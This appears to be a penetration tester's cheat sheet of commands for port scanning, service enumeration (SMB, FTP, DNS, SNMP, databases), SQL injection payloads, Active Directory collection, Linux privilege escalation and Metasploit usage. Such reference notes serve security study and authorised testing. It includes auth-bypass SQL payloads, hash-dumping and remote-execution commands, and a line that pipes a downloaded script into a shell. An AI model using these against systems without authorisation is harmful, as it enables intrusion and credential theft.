Notes & Tools

// recon

Nmap — Port Scanning Nmap

Basic host and port discovery commands.

# Full TCP scan with service/version detection nmap -sC -sV -p- <target>

# Fast scan — top 1000 ports nmap -T4 -F <target>

# UDP scan nmap -sU --top-ports 100 <target>

# OS detection + aggressive nmap -A -O <target>

Gobuster — Directory Brute Force Gobuster

# Directory brute force gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt

# With file extensions gobuster dir -u http://<target> -w common.txt -x php,html,txt

Infrastructure Enumeration OSINT

# Certificate transparency — find subdomains via crt.sh curl -s 'https://crt.sh/?q=<targetdomain>&output=json' | jq .

# Scan each IP in a list using Shodan for i in $(cat ip-addresses.txt);do shodan host $i;done

FTP Enumeration FTP

# Interact with FTP service ftp <FQDN/IP>

# Interact via netcat nc -nv <FQDN/IP> 21

# Interact via telnet telnet <FQDN/IP> 21

# Interact via encrypted connection (openssl) openssl s_client -connect <FQDN/IP>:21 -starttls ftp

# Download all available files from FTP server wget -m --no-passive ftp://anonymous:anonymous@<target>

SMB Enumeration SMB

# Null session authentication on SMB smbclient -N -L //<FQDN/IP>

# Connect to a specific SMB share smbclient //<FQDN/IP>/<share>

# Interaction with target using RPC rpcclient -U "" <FQDN/IP>

# Username enumeration using Impacket samrdump.py <FQDN/IP>

# Enumerate SMB shares smbmap -H <FQDN/IP>

# Enumerate SMB shares using null session (crackmapexec) crackmapexec smb <FQDN/IP> --shares -u '' -p ''

# SMB enumeration using enum4linux enum4linux-ng.py <FQDN/IP> -A

NFS Enumeration NFS

# Show available NFS shares showmount -e <FQDN/IP>

# Mount a specific NFS share mount -t nfs <FQDN/IP>:/<share> ./target-NFS/ -o nolock

# Unmount the NFS share umount ./target-NFS

DNS Enumeration DNS

# NS request to specific nameserver dig ns <domain.tld> @<nameserver>

# ANY request to specific nameserver dig any <domain.tld> @<nameserver>

# AXFR (zone transfer) request dig axfr <domain.tld> @<nameserver>

# Subdomain brute forcing with dnsenum dnsenum --dnsserver <nameserver> --enum -p 0 -s 0 -o found_subdomains.txt -f ~/subdomains.list <domain.tld>

SMTP Enumeration SMTP

# Connect to SMTP service via telnet telnet <FQDN/IP> 25

IMAP / POP3 Enumeration IMAP

# Log in to IMAPS using curl curl -k 'imaps://<FQDN/IP>' --user <user>:<password>

# Connect to IMAPS service openssl s_client -connect <FQDN/IP>:imaps

# Connect to POP3s service openssl s_client -connect <FQDN/IP>:pop3s

SNMP Enumeration SNMP

# Query OIDs using snmpwalk snmpwalk -v2c -c <community string> <FQDN/IP>

# Bruteforce community strings onesixtyone -c community-strings.list <FQDN/IP>

# Bruteforce SNMP OIDs using braa braa <community string>@<FQDN/IP>:.1.*

MySQL Enumeration MySQL

# Login to MySQL server mysql -u <user> -p<password> -h <FQDN/IP>

MSSQL Enumeration MSSQL

# Login to MSSQL using Windows auth (Impacket) mssqlclient.py <user>@<FQDN/IP> -windows-auth

IPMI Enumeration IPMI

# IPMI version detection (Metasploit) msf6 auxiliary(scanner/ipmi/ipmi_version)

# Dump IPMI hashes (Metasploit) msf6 auxiliary(scanner/ipmi/ipmi_dumphashes)

Linux Remote Management (SSH) SSH

# Remote security audit against SSH ssh-audit.py <FQDN/IP>

# Login via SSH ssh <user>@<FQDN/IP>

# Login via SSH using private key ssh -i private.key <user>@<FQDN/IP>

# Enforce password-based authentication ssh <user>@<FQDN/IP> -o PreferredAuthentications=password

Windows Remote Management WinRM / RDP

# Check RDP security settings rdp-sec-check.pl <FQDN/IP>

# Login to RDP from Linux xfreerdp /u:<user> /p:"<password>" /v:<FQDN/IP>

# Login to WinRM server evil-winrm -i <FQDN/IP> -u <user> -p <password>

# Execute command via WMI wmiexec.py <user>:"<password>"@<FQDN/IP> "<system command>"

Oracle TNS Enumeration Oracle

# Scan Oracle DB services with odat ./odat.py all -s <FQDN/IP>

# Login to Oracle database sqlplus <user>/<pass>@<FQDN/IP>/<db>

# Upload a file with Oracle RDBMS ./odat.py utlfile -s <FQDN/IP> -d <db> -U <user> -P <pass> --sysdba --putFile C:\path file.txt ./file.txt

// web exploitation

SQL Injection — Basic Payloads SQLi

Common payloads for testing and manual SQLi.

# Auth bypass ' OR '1'='1

# Error-based detection ' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--

# SQLMap automated sqlmap -u "http://target/page?id=1" --dbs

// network

Wireshark — Useful Filters Wireshark

# Filter by protocol http or dns or ftp

# Filter by IP ip.addr == <target_ip>

# Show only POST requests http.request.method == "POST"

// active directory

BloodHound / SharpHound AD Enum

Collect AD data for BloodHound analysis.

# Run SharpHound collector .\SharpHound.exe -c All

# Python version (from Linux) bloodhound-python -u user -p pass -d domain.local -c All

// privilege escalation

Linux PrivEsc — Enumeration Linux

# SUID binaries find / -perm -4000 2>/dev/null

# Sudo permissions sudo -l

# Run linpeas curl https://linpeas.sh | sh

# Writable files find / -writable -type f 2>/dev/null | grep -v proc

// tools reference

Metasploit — Quick Reference MSF

# Search for module msf > search <keyword>

# Use and configure msf > use <module> msf > set RHOSTS <target> msf > set LHOST <your_ip> msf > run

// os commands

Linux — General Commands Linux

# echo — outputs what you input echo "hello world"

# $ — symbol for a variable $MY_VAR

# mkdir — make a directory mkdir <dirname>

# apt update — update package sources sudo apt update

# apt upgrade — install package updates sudo apt upgrade

# useradd (low level) / adduser (high level) — add a user sudo useradd <username> sudo adduser <username>

# userdel / deluser — delete a user sudo userdel <username> sudo deluser <username>

# chmod — change file permissions chmod 755 <file>

# grep — highlight/filter text in output grep "pattern" <file>

# kill — kill a process by PID kill <PID>

# pkill — kill processes by pattern (name, user, program) pkill <process_name>

# whoami — which user am I whoami

# uname — display OS info (-a for everything) uname -a

# make — automates compilation using a Makefile make

# touch — create a file touch <filename>

# rm — delete a file rm <filename>

# cd — move to a directory cd <dirname>

# su — switch to another account su <username>

# curl — connect to a URL curl <url>

# curl -fsSL — f=fail silently, s=silent mode, S=show errors, L=follow redirects curl -fsSL <url>